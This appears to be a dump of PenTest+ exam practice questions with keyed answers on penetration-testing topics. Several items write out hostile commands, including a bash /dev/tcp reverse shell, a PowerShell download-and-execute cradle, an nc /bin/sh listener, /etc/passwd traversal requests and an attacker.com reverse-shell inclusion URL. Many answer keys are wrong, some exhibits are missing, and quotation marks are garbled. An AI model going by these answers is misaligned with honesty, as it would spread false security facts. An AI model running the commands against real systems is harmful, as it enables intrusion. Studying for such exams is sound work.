Pentest+

A penetration tester reviews the scan results of a web application. Which of the following vulnerabilities is MOST critical and should be prioritized for exploitation? A. Stored XSS B. Fill path disclosure C. Expired certificate D. Clickjacking

Stored XSS

After several attempts, an attacker was able to gain unauthorized access through a biometrics sensor using the attacker?s actual fingerprint without exploitation. Which of the following is the MOST likely explanation of what happened? A. The biometric device is tuned more toward false positives. B. The biometric device is configured more toward true negatives. C. The biometric device is set to fail closed. D. The biometric device duplicated a valid user?s fingerprint.

The biometric device is tuned more toward false positives.

A client is asking a penetration tester to evaluate a new web application for availability. Which of the following types of attacks should the tester use? A. TCP SYN flood B. SQL injection C. XSS D. XMAS scan

TCP SYN flood

Which of the following is an example of a spear phishing attack? A. Targeting an executive with an SMS attack B. Targeting a specific team with an email attack C. Targeting random users with a USB key drop D. Targeting an organization with a watering hole attack

Targeting a specific team with an email attack

Which of the following CPU registers does the penetration tester need to overwrite in order to exploit a simple buffer overflow? A. Stack pointer register B. Index pointer register C. Stack base pointer D. Destination index register

Stack pointer register

A client asks a penetration tester to add more addresses to a test currently in progress. Which of the following would define the target list? A. Rules of engagement B. Mater services agreement C. Statement of work D. End-user license agreement

Statement of work

A penetration tester is performing a code review. Which of the following testing techniques is being performed? A. Dynamic analysis B. Fuzzing analysis C. Static analysis D. Run-time analysis

Static analysis

In which of the following scenarios would a tester perform a Kerberoasting attack? A. The tester has compromised a Windows device and dumps the LSA secrets. B. The tester needs to retrieve the SAM database and crack the password hashes. C. The tester has compromised a limited-privilege user and needs to target other accounts for lateral movement. D. The tester has compromised an account and needs to dump hashes and plaintext passwords from the system.

The tester has compromised a limited-privilege user and needs to target other accounts for lateral movement.

A penetration tester has successfully exploited a vulnerability on an organization?s authentication server and now wants to set up a reverse shell. The penetration tester finds that Netcat is not available on the target. Which of the following approaches is a suitable option to attempt NEXT? A. Run xterm to connect to the X-server of the target. B. Attempt to escalate privileges to acquire an interactive shell. C. Try to use the /dev/tcp socket. D. Attempt to read out/etc/shadow.

Try to use the /dev/tcp socket.

A consultant is performing a social engineering attack against a client. The consultant was able to collect a number of usernames and passwords using a phishing campaign. The consultant is given credentials to log on to various employees email accounts. Given the findings, which of the following should the consultant recommend be implemented? A. Strong password policy B. Password encryption C. Email system hardening D. Two-factor authentication

Two-factor authentication

A penetration tester runs the following from a compromised ?python -c ? import pty;pty.spawn (?/bin/bash?) ?. Which of the following actions are the tester taking? A. Removing the Bash history B. Upgrading the shell C. Creating a sandbox D. Capturing credentials

Upgrading the shell

A company performed an annual penetration test of its environment. In addition to several new findings, all of the previously identified findings persisted on the latest report. Which of the following is the MOST likely reason? A. Infrastructure is being replaced with similar hardware and software. B. Systems administrators are applying the wrong patches. C. The organization is not taking action to remediate identified findings. D. The penetration testing tools were misconfigured.

The organization is not taking action to remediate identified findings.

When calculating the sales price of a penetration test to a client, which of the following is the MOST important aspect to understand? A. The operating cost B. The client's budget C. The required scope of work D. The non-disclosure agreement

The required scope of work

A penetration tester ran the following Nmap scan on a computer: nmap -aV 192.168.1.5 The organization said it had disabled Telnet from its environment. However, the results of the Nmap scan show port 22 as closed and port 23 as open to SSH. Which of the following is the BEST explanation for what happened? A. The organization failed to disable Telnet. B. Nmap results contain a false positive for port 23. C. Port 22 was filtered. D. The service is running on a non-standard port.

The service is running on a non-standard port.

Which of the following is the MOST comprehensive type of penetration test on a network? A. Black box B. White box C. Gray box D. Red team E. Architecture review

White box

Black box penetration testing strategy provides the tester with: A. a target list B. a network diagram C. source code D. privileged credentials

a target list

A penetration tester is planning to conduct a distributed dictionary attack on a government domain against the login portal. The tester will leverage multiple proxies to mask the origin IPs of the attack. Which of the following threat actors will be emulated? A. APT B. Hacktivist C. Script kiddie D. Insider threat

APT

A client has voiced concern about the number of companies being breached by remote attackers, who are looking for trade secrets. Which of the following BEST describes the type of adversaries this would identify? A. Script kiddies B. APT actors C. Insider threats D. Hacktivist groups

APT actors

A malicious user wants to perform an MITM attack on a computer. The computer network configuration is given below: IP: 192.168.1.20 NETMASK: 255.255.255.0 DEFAULT GATEWAY: 192.168.1.254 DHCP: 192.168.1.253 DNS: 192.168.10.10, 192.168.20.10 Which of the following commands should the malicious user execute to perform the MITM attack? A. arpspoof -c both -r -t 192.168.1.1 192.168.1.20 B. arpspoof -t 192.168.1.20 192.168.1.254 C. arpspoof -c both -t 192.168.1.20 192.168.1.253 D. arpspoof -r -t 192.168.1.253 192.168.1.20

arpspoof -t 192.168.1.20 192.168.1.254

Which of the following is the BEST initial attack against an identified FTP server on the remote network? A. Perform fuzzing against a username field. B. Use a MITM to sniff transferred credentials in cleartext. C. Attempt to log in as anonymous. D. Perform a dictionary attack.

Attempt to log in as anonymous.

A penetration tester is preparing for an assessment of a web server's security, which is used to host several sensitive web applications. The web server is PKI protected, and the penetration tester reviews the certificate presented by the server during the SSL handshake. Which of the following certificate fields or extensions would be of MOST use to the penetration tester during an assessment? A. Subject key identifier B. Subject alternative name C. Authority information access D. Service principal name

Authority information access

In a physical penetration tester testing scenario. the penetration tester obtains physical access to a laptop. The laptop is logged in but locked. Which of the following is a potential NEXT step to extract credentials from the device? A. Brute force the user's password. B. Perform an ARP spoofing attack. C. Leverage the BeEF framework to capture credentials. D. Conduct LLMNR/NETBIOS-ns poisoning.

Brute force the user's password.

A senior employee received a suspicious email from another executive requesting an urgent wire transfer. Which of the following types of attacks is likely occurring? A. Spear phishing B. Business email compromise C. Vishing D. Whaling

Business email compromise

An assessor begins an internal security test of the Windows domain internal.comptia.net. The assessor is given network access via DHCP, but is not given any network maps or target IP addresses. Which of the following commands can the assessor use to find any likely Windows domain controllers? A. dig -q any _kerberos._tcp.internal.comptia.net B. dig -q any _lanman._tcp.internal.comptia.net C. dig -q any _ntlm._tcp.internal.comptia.net D. dig -q any _smtp._tcp.internal.comptia.net

dig -q any _kerberos._tcp.internal.comptia.net

A penetration tester has a full shell to a domain controller and wants to discover any user account that has not authenticated to the domain in 21 days. Which of the following commands would BEST accomplish this? A. dsrm -users ?DN=company.com; OU=hq CN=users? B. dsuser -name -account -limit 3 C. dsquery user -inactive 3 D. dsquery -o -rdn -limit 21

dsquery user -inactive 3

A penetration tester ran an Nmap scan against a target and received the following output: Which of the following commands would be best for the penetration tester to execute NEXT to discover any weaknesses or vulnerabilities? A. onesixtyone ?d 192.168.121.1 B. enum4linux ?w 192.168.121.1 C. snmpwalk ?c public 192.168.121.1 D. medusa ?h 192.168.121.1 ?U users.txt ?P passwords.txt ?M ssh Answer: B

enum4linux -w 192.168.121.1

A company decides to remediate issues identified from a third-party penetration test done to its infrastructure. Management should instruct the IT team to: A. execute the hot fixes immediately to all vulnerabilities found. B. execute the hot fixes immediately to some vulnerabilities. C. execute the hot fixes during the routine quarterly patching. D. evaluate the vulnerabilities found and execute the hot fixes.

evaluate the vulnerabilities found and execute the hot fixes.

A penetration tester is attempting to open a socket in a bash script but receives errors when running it. The current state of the relevant line in the script is as follows: Which of the following lines of code would correct the issue upon substitution? A. open 0<>/dev/tcp/${HOST}:${PORT} B. exec 0</dev/tcp/${HOST}/${PORT} C. exec 0</dev/tcp/$[HOST]:$[PORT] D. exec 3<>/dev/tcp/${HOST}/${PORT} E. open 3</dev/tcp/${HOST}/${PORT} F. open 3</dev/tcp/$[HOST]/$[PORT]

exec 3<>/dev/tcp/${HOST}/${PORT}

A company hires a penetration tester to determine if there are any vulnerabilities in its new VPN concentrator installation with an external IP of 100.170.60.5. Which of the following commands will test if the VPN is available? A. fpipe.exe -1 8080 -r 80 100.170.60.5 B. ike-scan -A -t 1 --sourceip=spoof_ip 100.170.60.5 C. nmap -sS -A -f 100.170.60.5 D. nc 100.170.60.5 8080 /bin/sh

ike-scan -A -t 1 --sourceip=spoof_ip 100.170.60.5

Which of the following commands starts the Metasploit database? A. msfconsole B. workspace C. msfvenom D. db_init E. db_connect

msfconsole

During the information gathering phase of a network penetration test for the corp.local domain, which of the following commands would provide a list of domain controllers? A. nslookup ?type=srv _ldap._tcp.dc._msdcs.corp.local B. nmap ?sV ?p 389 - -script=ldap-rootdse corp.local C. net group ?Domain Controllers? /domain D. gpresult /d corp.local /r ?Domain Controllers?

nslookup ?type=srv _ldap._tcp.dc._msdcs.corp.local

Joe, a penetration tester, is asked to assess a company?s physical security by gaining access to its corporate office. Joe is looking for a method that will enable him to enter the building during business hours or when there are no employees on-site. Which of the following would be the MOST effective in accomplishing this? A. Badge cloning B. Lock picking C. Tailgating D. Piggybacking

Badge cloning

A consultant is attempting to harvest credentials from unsecure network protocols in use by the organization. Which of the following commands should the consultant use? A. tcpdump B. john C. hashcat D. nc

tcpdump

During the information gathering phase, a penetration tester discovers a spreadsheet that contains a domain administrator's credentials. In addition, port scanning reveals that TCP port 445 was open on multiple hosts. Which of the following methods would BEST leverage this information? A. telnet [target IP] 445 B. ncat [target IP] 445 C. nbtstat -a [targetIP] 445 D. psexec [target IP]

telnet [target IP] 445

During an engagement an unsecure direct object reference vulnerability was discovered that allows the extraction of highly sensitive PII. The tester is required to extract and then exfil the information from a web application with identifiers 1 through 1000 inclusive. When running the following script, an error is encountered: Which of the following lines of code is causing the problem? A. url = ?https://www.comptia.org?id=? B. req = requests.get(url) C. if req.status ==200: D. url += i Answer: D

url += i

Which of the following commands would allow a penetration tester to access a private network from the Internet in Metasploit? A. set rhost 192.168.1.10 B. run autoroute -s 192.168.1.0/24 C. db_nmap -iL /tmp/privatehosts.txt D. use auxiliary/server/socks4a

use auxiliary/server/socks4a

Which of the following commands will allow a tester to enumerate potential unquoted service paths on a host? A. wmic environment get name, variablevalue, username | findstr /i ?Path? | findstr /i ?Service? B. wmic service get /format:hform > c:\temp\services.html C. wmic startup get caption, location, command |findstr /i ?service? |findstr /v / i ?%? D. wmic service get name, displayname, pathname, startmode |findstr /i ?auto? | findstr /i /v ?c:\windows\\? |findstr /i /v ???

wmic service get name, displayname, pathname, startmode |findstr /i ?auto? | findstr /i /v ?c:\windows\\? |findstr /i /v ???

Given the following HTTP response: http/1.0 200 OK Server: Apache Set-Cookie: AUTHID=879DHUT74D9A7C; http-only Content-type: text/html Connection: Close Which of the following aspects of an XSS attack would be prevented? A. Client-side website defacement B. Session hijacking C. Cross-site request forgery D. JavaScript keylogging

Client-side website defacement

A penetration tester is assessing the security of a web form for a client and enters ?;id? in one of the fields. The penetration tester observes the following response: Based on the response, which of the following vulnerabilities exists? A. SQL injection B. Session hijacking C. Command injection D. XSS/XSRF

Command injection

Which of the following vulnerabilities are MOST likely to be false positives when reported by an automated scanner on a static HTML web page? (Choose two.) A. Missing secure flag for a sensitive cookie B. Reflected cross-site scripting C. Enabled directory listing D. Insecure HTTP methods allowed E. Unencrypted transfer of sensitive data F. Command injection G. Disclosure of internal system information H. Support of weak cipher suites

Command injection Disclosure of internal system information

In which of the following components is an exploited vulnerability MOST likely to affect multiple running application containers at once? A. Common libraries B. Configuration files C. Sandbox escape D. ASLR bypass

Common libraries

A penetration tester is outside of an organization's network and is attempting to redirect users to a fake password reset website hosted on the penetration tester's box. Which of the following techniques is suitable to attempt this? A. Employ NBNS poisoning. B. Perform ARP spoofing. C. Conduct a phishing campaign. D. Use an SSL downgrade attack.

Conduct a phishing campaign.

A penetration tester has gained physical access to a facility and connected directly into the internal network. The penetration tester now wants to pivot into the server VLAN. Which of the following would accomplish this? A. Spoofing a printer?s MAC address B. Abusing DTP negotiation C. Performing LLMNR poisoning D. Conducting an STP attack

Conducting an STP attack

Which of the following describe a susceptibility present in Android-based commercial mobile devices when organizations are not employing MDM services? (Choose two.) A. Configurations are user-customizable. B. End users have root access to devices by default. C. Push notification services require Internet access. D. Unsigned apps can be installed. E. The default device log facility does not record system actions. F. IPSec VPNs are not configurable.

Configurations are user-customizable. Unsigned apps can be installed.

A penetration tester has gained a root shell on a target Linux server and wants to have the server "check in" over HTTP using a GET request to the penetration tester's laptop once every hour, even after system reboots. The penetration tester wrote a bash script to perform this. Which of the following represents the BEST method to persist the script? A. Execute the script to run in a screen session. B. Use the nohup command to launch the script immune to logouts. C. Configure a systemd service at default run level to launch the script. D. Modify .bash_profile to launch the script in the background.

Configure a systemd service at default run level to launch the script.

Which of the following are MOST important when planning for an engagement? (Select TWO). A. Goals/objectives B. Architectural diagrams C. Tolerance to impact D. Storage time for a report E. Company policies

Goals/objectives Tolerance to impact

While trying to maintain persistence on a Windows system with limited privileges, which of the following registry keys should the tester use? A. HKEY_CLASSES_ROOT B. HKEY_LOCAL_MACHINE C. HKEY_CURRENT_USER D. HKEY_CURRENT_CONFIG

HKEY_CURRENT_USER

A tester identifies an XSS attack vector during a penetration test. Which of the following flags should the tester recommend to prevent a JavaScript payload from accessing the cookie? A. Secure B. Domain C. Max-Age D. HttpOnly

HttpOnly

Which of the following tools is used to perform a credential brute force attack? A. Hydra B. John the Ripper C. Hashcat D. Peach

Hydra

A penetration tester is attempting to capture a handshake between a client and an access point by monitoring a WPA2-PSK secured wireless network. The tester is monitoring the correct channel for the identified network, but has been unsuccessful in capturing a handshake. Given the scenario, which of the following attacks would BEST assist the tester in obtaining this handshake? A. Karma attack B. Deauthentication attack C. Fragmentation attack D. SSDI broadcast flood

Deauthentication attack

Which of the following is the BEST way to deploy vulnerability scanners with many networks segmented by firewalls with active IPS rules? A. Deploy a single scanner inside each network segment. B. Deploy many scanners inside one segment and allow any rules. C. Deploy one internal scanner and one external scanner. D. Deploy one internal scanner with heavy server resources.

Deploy a single scanner inside each network segment.

A penetration tester has run multiple vulnerability scans against a target system. Which of the following would be unique to a credentialed scan? A. Exploits for vulnerabilities found B. Detailed service configurations C. Unpatched third-party software D. Weak access control configurations

Detailed service configurations

Prior to a security assessment of a company's user population via spear phishing, which of the following is the MOST appropriate method to de-escalate any incidents or consequences? A. Determine the appropriate format and content of the spear-phishing emails. B. Send follow-up communication to spear-phishing targets to notify of the assessment. C. Carefully prioritize the list of targeted users, excluding high value targets. D. Provide limited but necessary communication prior to the assessment.

Determine the appropriate format and content of the spear-phishing emails.

A penetration tester entered the following information into the browser URL: https://www.example.com/login.php?file=../../../../../../../etc/passwd The server responded with the data contained in the server's sensitive data file. Which of the following types of vulnerabilities is MOST likely being exploited? A. Weak credentials B. Race conditions C. Directory traversal D. Command injection

Directory traversal

Given the following: http://example.com/download.php?id-.../.../.../etc/passwd Which of the following BEST describes the above attack? A. Malicious file upload attack B. Redirect attack C. Directory traversal attack D. Insecure direct object reference attack

Directory traversal attack

A penetration tester wants to check manually if a ?ghost? vulnerability exists in a system. Which of the following methods is the correct way to validate the vulnerability? A. Download the GHOST file to a Linux system and compile gcc -o GHOST test i: ./GHOST B. Download the GHOST file to a Windows system and compile gcc -o GHOST GHOST.c test i: ./GHOST C. Download the GHOST file to a Linux system and compile gcc -o GHOST GHOST.c test i: ./GHOST D. Download the GHOST file to a Windows system and compile gcc -o GHOST test i: ./GHOST

Download the GHOST file to a Linux system and compile gcc -o GHOST GHOST.c test i:

A MITM attack is being planned. The first step is to get information flowing through a controlled device. Which of the following should be used to accomplish this? A. Repeating B. War driving C. Evil twin D. Bluejacking E. Replay attack

Evil twin

Consider the following PowerShell command: powershell.exe IEX (New-Object Net.Webclient).downloadstring(http://site/ script.ps1?);Invoke-Cmdlet Which of the following BEST describes the actions performed by this command? A. Set the execution policy. B. Execute a remote script. C. Run an encoded command. D. Instantiate an object.

Execute a remote script

A technician is reviewing the following report. Given this information, identify which vulnerability can be definitively confirmed to be a false positive by dragging the false positive token to the Confirmed column for each vulnerability that is a false positive.

False positive for both linux OS

A penetration tester has access to a local machine running Linux, but the account has limited privileges. Which of the following types of files could the tester BEST use for privilege escalation? A. Binaries stored in /usr/bin B. Files with permission 4xxx C. Files stored in /root directory D. Files with the wrong ACL rules configured

Files stored in /root directory

Which of the following should a penetration tester verify prior to testing the login and permissions management for a web application that is protected by a CDN-based WAF? A. If an NDA is signed with the CDN company B. If the SSL certificates for the web application are valid C. If a list of the applicable WAF rules was obtained D. If the IP addresses for the penetration tester are whitelisted on the WAF

If the IP addresses for the penetration tester are whitelisted on the WAF

When performing compliance-based assessments, which of the following is the MOST important key consideration? A. Additional rate B. Company policy C. Impact tolerance D. Industry type

Industry type

During a penetration test, a host is discovered that appears to have been previously compromised and has an active outbound connection. After verifying the network activity is malicious, which of the following should the tester do? A. Inform the client to shut it down and investigate. B. Take action and shut it down immediately. C. Inform the client and allow them to respond. D. Note the finding and continue the assessment.

Inform the client and allow them to respond.

After delivering a draft of a penetration test report, a development team has raised concerns about an issue categorized as "high." A cloud storage bucket is configured to allow read access to the public, but writing to objects within the bucket is restricted to authorized users. The bucket contains only publicly available images that can already be found on the application homepage. Which of the following severity levels should the penetration tester consider? A. Critical B. Medium C. Informational D. Low

Medium

Which of the following can be used to perform online password attacks against RDP? A. Hashcat B. John the Ripper C. Aircrack-ng D. Ncrack

Ncrack

A penetration tester has performed a pivot to a new Linux device on a different network. The tester writes the following command: for m in {1..254..1};do ping -c 1 192.168.101.$m; done Which of the following BEST describes the result of running this command? A. Port scan B. Service enumeration C. Live host identification D. Denial of service

Live host identification

Which of the following types of intrusion techniques is the use of an ?under-the-door tool? during a physical security assessment an example of? A. Lockpicking B. Egress sensor triggering C. Lock bumping D. Lock bypass

Lock bypass

A penetration tester is required to exploit a WPS implementation weakness. Which of the following tools will perform the attack?

NetStumbler

A penetration tester was able to enter an SQL injection command into a text box and gain access to the information store on the database. Which of the following is the BEST recommendation that would mitigate the vulnerability? A. Randomize the credentials used to log in. B. Install host-based intrusion detection. C. Implement input normalization. D. Perform system hardening.

Perform system hardening.

During a full-scope security assessment, which of the following is a prerequisite to social engineer a target by physically engaging them? A. Locating emergency exits B. Preparing a pretext C. Shoulder surfing the victim D. Tailgating the victim

Preparing a pretext

DRAG DROP Instructions: Analyze the code segments to determine which sections are needed to complete a port scanning script. Drag the appropriate elements into the correct locations to complete the script. If at any time you would like to bring back the initial state of the simulation, please click the reset all button. During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan. Select and Place:

1 - #!/usr/bin/python 2- ports = [21,22] 3- for port in ports: ... 4- run_scan(sys.argv[1], ports)

A penetration tester is asked to scope an external engagement. Which of the following would be a valid target? A. 104.45.98.126 B. 169.254. 67.23 C. 172.16.67.145 D. 192.168.47.231

104.45.98.126

A penetration tester is able to move laterally throughout a domain with minimal roadblocks after compromising a single workstation. Which of the following mitigation strategies would be BEST to recommend in the report? (Select THREE). A. Randomize local administrator credentials for each machine. B. Disable remote logons for local administrators. C. Require multifactor authentication for all logins. D. Increase minimum password complexity requirements. E. Apply additional network access control. F. Enable full-disk encryption on every workstation. G. Segment each host into its own VLAN.

Require multifactor authentication for all logins. Increase minimum password complexity requirements. Apply additional network access control.

During an internal penetration test, several multicast and broadcast name resolution requests are observed traversing the network. Which of the following tools could be used to impersonate network resources and collect authentication requests? A. Ettercap B. Tcpdump C. Responder D. Medusa

Responder

A security consultant receives a document outlining the scope of an upcoming penetration test. This document contains IP addresses and times that each can be scanned. Which of the following would contain this information? A. Rules of engagement B. Request for proposal C. Master service agreement D. Business impact analysis

Rules of engagement

A penetration tester is connected to a client?s local network and wants to passively identify cleartext protocols and potentially sensitive data being communicated across the network. Which of the following is the BEST approach to take? A. Run a network vulnerability scan. B. Run a stress test. C. Run an MITM attack. D. Run a port scan.

Run an MITM attack.

After gaining initial low-privilege access to a Linux system, a penetration tester identifies an interesting binary in a user's home folder titled ??changepass.? -sr-xr-x 1 root root 6443 Oct 18 2017 /home/user/changepass Using ?strings" to print ASCII printable characters from changepass, the tester notes the following: $ strings changepass exit setuid strcmp GLIBC_2.0 ENV_PATH %s/changepw malloc strlen Given this information, which of the following is the MOST likely path of exploitation to achieve root privileges on the machine? A. Copy changepass to a writable directory and export the ENV_PATH environmental variable to the path of a token-stealing binary titled changepw. Then run changepass. B. Create a copy of changepass in the same directory, naming it changepw. Export the ENV_PATH environmental variable to the path '/home/user/'. Then run changepass. C. Export the ENV_PATH environmental variable to the path of a writable directory that contains a tokenstealing binary titled changepw. Then run changepass. D. Run changepass within the current directory with sudo after exporting the ENV_PATH environmental variable to the path of '/usr/local/bin'.

Run changepass within the current directory with sudo after exporting the ENV_PATH environmental variable to the path of '/usr/local/bin'.

During testing, a critical vulnerability is discovered on a client's core server. Which of the following should be the NEXT action? A. Disable the network port of the affected service. B. Complete all findings, and then submit them to the client. C. Promptly alert the client with details of the finding. D. Take the target offline so it cannot be exploited by an attacker.

Promptly alert the client with details of the finding.

A penetration tester has performed a vulnerability scan of a specific host that contains a valuable database and has identified the following vulnerabilities: XSS HTTP DELETE method allowed SQL injection Vulnerable to CSRF To which of the following should the tester give the HIGHEST priority? A. SQL injection B. HTTP DELETE method allowed C. Vulnerable to CSRF D. XSS

SQL injection

During the exploitation phase of a web application, a penetration tester finds XML files are being used to handle parameters that are sent for the server. Which of the following vulnerabilities can be exploited to try to access internal files of the affected web server using a web proxy? A. XSS B. SQL injection C. CSRF D. XXE

SQL injection

A tester has determined that null sessions are enabled on a domain controller. Which of the following attacks can be performed to leverage this vulnerability? A. RID cycling to enumerate users and groups B. Pass the hash to relay credentials C. Password brute forcing to log into the host D. Session hijacking to impersonate a system account

RID cycling to enumerate users and groups

The following line was found in an exploited machine's history file. An attacker ran the following command: bash -i >& /dev/tcp/192.168.0.1/80 0> &1 Which of the following describes what the command does? A. Performs a port scan. B. Grabs the web server's banner. C. Redirects a TTY to a remote system. D. Removes error logs for the supplied IP.

Redirects a TTY to a remote system.

A penetration tester reported the following vulnerabilities: Which of the following is the correct order to rate the vulnerabilities from critical to low considering the MOST immediate impact? A. Unrestricted file upload, stored XSS, SQL injection, verbose server headers B. SQL injection, unrestricted file upload, stored XSS, verbose server headers C. Verbose server headers, unrestricted file upload, stored XSS, SQL injection D. Stored XSS, SQL injection, unrestricted file upload, verbose server headers

SQL injection, unrestricted file upload, stored XSS, verbose server headers

A company planned for and secured the budget to hire a consultant to perform a web application penetration test. Upon discovering vulnerabilities, the company asked the consultant to perform the following tasks: Code review Updates to firewall settings Which of the following has occurred in this situation? A. Scope creep B. Post-mortem review C. Risk acceptance D. Threat prevention

Scope creep

Which of the following has a direct and significant impact on the budget of the security assessment? A. Scoping B. Scheduling C. Compliance requirement D. Target risk

Scoping

A penetration tester is performing a black box assessment on a web-based banking application. The tester was only provided with a URL to the login page. Given the below code and output: Which of the following is the tester intending to do? A. Horizontally escalate privileges. B. Scrape the page for hidden fields. C. Analyze HTTP response code. D. Search for HTTP headers.

Scrape the page for hidden fields

A client requests that a penetration tester emulate a help desk technician who was recently laid off. Which of the following BEST describes the abilities of the threat actor? A. Advanced persistent threat B. Script kiddie C. Hacktivist D. Organized crime

Script kiddie

During a vulnerability assessment, the security consultant finds an XP legacy system that is running a critical business function. Which of the following mitigations is BEST for the consultant to conduct? A. Update to the latest Microsoft Windows OS. B. Put the machine behind the WAF. C. Segment the machine from the main network. D. Disconnect the machine.

Segment the machine from the main network.

An energy company contracted a security firm to perform a penetration test of a power plant, which employs ICS to manage power generation and cooling. Which of the following is a consideration unique to such an environment that must be made by the firm when preparing for the assessment? A. Selection of the appropriate set of security testing tools B. Current and load ratings of the ICS components C. Potential operational and safety hazards D. Electrical certification of hardware used in the test

Selection of the appropriate set of security testing tools

A client needs to be PCI compliant and has external-facing web servers. Which of the following CVSS vulnerability scores would automatically bring the client out of compliance standards such as PCI 3.x? A. 2.9 B. 3.0 C. 4.0 D. 5.9

4.0

Given the Nikto vulnerability, scan output shown in the exhibit, which of the following exploitation techniques might be used to exploit the target system? (Choose two.) A. Arbitrary code execution B. Session hijacking C. SQL injection D. Login credential brute-forcing E. Cross-site request forgery

Arbitrary code execution Session hijacking

During post-exploitation, a tester identifies that only system binaries will pass an egress filter and store a file with the following command: c: \creditcards.db>c:\winit\system32\calc.exe:creditcards.db Which of the following file system vulnerabilities does this command take advantage of? A. Hierarchical file system B. Alternate data streams C. Backdoor success D. Extended file system

Alternate data streams

A company requested a penetration tester review the security of an in-house developed Android application. The penetration tester received an APK file to support the assessment. The penetration tester wants to run SAST on the APK file. Which of the following preparatory steps must the penetration tester do FIRST? (Select TWO). A. Convert to JAR. B. Decompile. C. Cross-compile the application. D. Convert JAR files to DEX. E. Re-sign the APK. F. Attach to ADB.

Convert to JAR Decompile

A penetration tester is performing a remote internal penetration test by connecting to the testing system from the Internet via a reverse SSH tunnel. The testing system has been placed on a general user subnet with an IP address of 192.168.1.13 and a gateway of 192.168.1.1. Immediately after running the command below, the penetration tester?s SSH connection to the testing platform drops: Which of the following ettercap commands should the penetration tester use in the future to perform ARP spoofing while maintaining a reliable connection? A. # sudo ettercap ?Tq ?w output.cap ?M ARP /192.168.1.0/ /192.168.1.255/ B. # proxychains ettercap ?Tq ?w output.cap ?M ARP /192.168.1.13/ /192.168.1.1/ C. # ettercap ?Tq ?w output.cap ?M ARP 00:00:00:00:00:00//80 FF:FF:FF:FF:FF:FF//80 D. # ettercap ??safe-mode ?Tq ?w output.cap ?M ARP /192.168.1.2? 255/ /192.168.1.13/ E. # ettercap ?Tq ?w output.cap ?M ARP /192.168.1.2?12;192.168.1.14? 255/ /192.168.1.1/

# ettercap -Tq -w output.cap -M ARP /192.168.1.2?12;192.168.1.14? 255/ /192.168.1.1/

The scope of a penetration test requires the tester to be stealthy when performing port scans. Which of the following commands with Nmap BEST supports stealthy scanning? A. --min-rate B. --max-length C. --host-timeout D. --max-rate

--max-rate

A penetration tester has been asked to conduct OS fingering with Nmap using a company-provided text file that contains a list of IP addresses. Which of the following are needed to conduct this scan? (Choose two.) A. -O B. -iL C. -sV D. -sS E. -oN F. -oX

-O -iL

A penetration tester has been asked to conduct OS fingering with Nmap using a company-provided text file that contains a list of IP addresses. Which of the following are needed to conduct this scan? (Choose two.). A. -O B. -iL C. -sV D. -sS E. -oN F. -oX

-O -iL

A consultant wants to scan all the TCP ports on an identified device. Which of the following Nmap switches will complete this task? A. -p- B. -p ALL C. -p 1-65534 D. -port 1-65534

-p-

A penetration tester needs to use Nmap to scan a host with a very low speed so the WAF or IPS/IDS is not triggered. Which of the following command-line parameters should be added to the Nmap command? A. -t 5 B. -sP 10 C. -sV D. -t 1

-t 1

A penetration tester runs the following on a machine: Which of the following will be returned? A. 1 B. 3 C. 5 D. 6

6

A penetration tester has been asked to conduct a penetration test on a REST-based web service. Which of the following items is required? A. The latest vulnerability scan results B. A list of sample application requests C. An up-to-date list of possible exploits D. A list of sample test accounts

A list of sample application requests

A penetration tester is performing an assessment when the network administrator shows the tester a packet sample that is causing trouble on the network. Which of the following types of attacks should the tester stop? A. SNMP brute forcing B. ARP spoofing C. DNS cache poisoning D. SMTP relay

ARP spoofing

A penetration tester is performing a black-box test of a client web application, and the scan host is unable to access it. The client has sent screenshots showing the system is functioning correctly. Which of the following is MOST likely the issue? A. The penetration tester was not provided with a WSDL file. B. The penetration tester needs an OAuth bearer token. C. The tester has provided an incorrect password for the application. D. An IPS/WAF whitelist is in place to protect the environment.

An IPS/WAF whitelist is in place to protect the environment.

A security assessor is attempting to craft specialized XML files to test the security of the parsing functions during ingest into a Windows application. Before beginning to test the application, which of the following should the assessor request from the organization? A. Sample SOAP messages B. The REST API documentation C. A protocol fuzzing utility D. An applicable XSD file

An applicable XSD file

During the exploitation phase of a penetration test, a vulnerability is discovered that allows command execution on a Linux web server. A cursory review confirms the system access is only in a low-privilege user context: www-data. After reviewing, the following output from /etc/sudoers: Which of the following users should be targeted for privilege escalation? A. Only members of the Linux admin group, OPERATORS, ADMINS, jedwards, and operator can execute privileged commands useful for privilege escalation. B. All users on the machine can execute privileged commands useful for privilege escalation. C. Bfranks, emann, members of the Linux admin group, OPERATORS, and ADMINS can execute commands useful for privilege escalation. D. Jedwards, operator, bfranks, emann, OPERATOR, and ADMINS can execute commands useful for privilege escalation.

Bfranks, emann, members of the Linux admin group, OPERATORS, and ADMINS can execute commands useful for privilege escalation

While monitoring WAF logs, a security analyst discovers a successful attack against the following URL: https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php Which of the following remediation steps should be taken to prevent this type of attack? A. Implement a blacklist. B. Block URL redirections. C. Double URL encode the parameters. D. Stop external calls from the application.

Block URL redirections

An attacker performed a MITM attack against a mobile application. The attacker is attempting to manipulate the application?s network traffic via a proxy tool. The attacker only sees limited traffic as cleartext. The application log files indicate secure SSL/TLS connections are failing. Which of the following is MOST likely preventing proxying of all traffic? A. Misconfigured routes B. Certificate pinning C. Strong cipher suites D. Closed ports

Certificate pinning

A penetration tester discovers an anonymous FTP server that is sharing the C:\drive. Which of the following is the BEST exploit? A. Place a batch script in the startup folder for all users. B. Change a service binary location path to point to the tester?s own payload. C. Escalate the tester?s privileges to SYSTEM using the at.exe command. D. Download, modify, and reupload a compromised registry to obtain code execution.

Change a service binary location path to point to the tester?s own payload.

A penetration tester is checking a script to determine why some basic math errors are persisting. The expected result was the program outputting True. Given the output from the console above, which of the following explains how to correct the errors in the script? (Choose two.) A. Change ?fi? to ?Endlf?. B. Remove the ?let? in front of ?dest=5+5?. C. Change the ?=? to ?-eq?. D. Change ?source? and ?dest? to ?$source? and ?$dest?. E. Change ?else? to ?elif?.

Change the ?=? to ?-eq?. Change ?source? and ?dest? to ?$source? and ?$dest?.

A penetration tester observes that the content security policy header is missing during a web application penetration test. Which of the following techniques would the penetration tester MOST likely perform? A. Command injection attack B. Clickjacking attack C. Directory traversal attack D. Remote file inclusion attack

Clickjacking attack

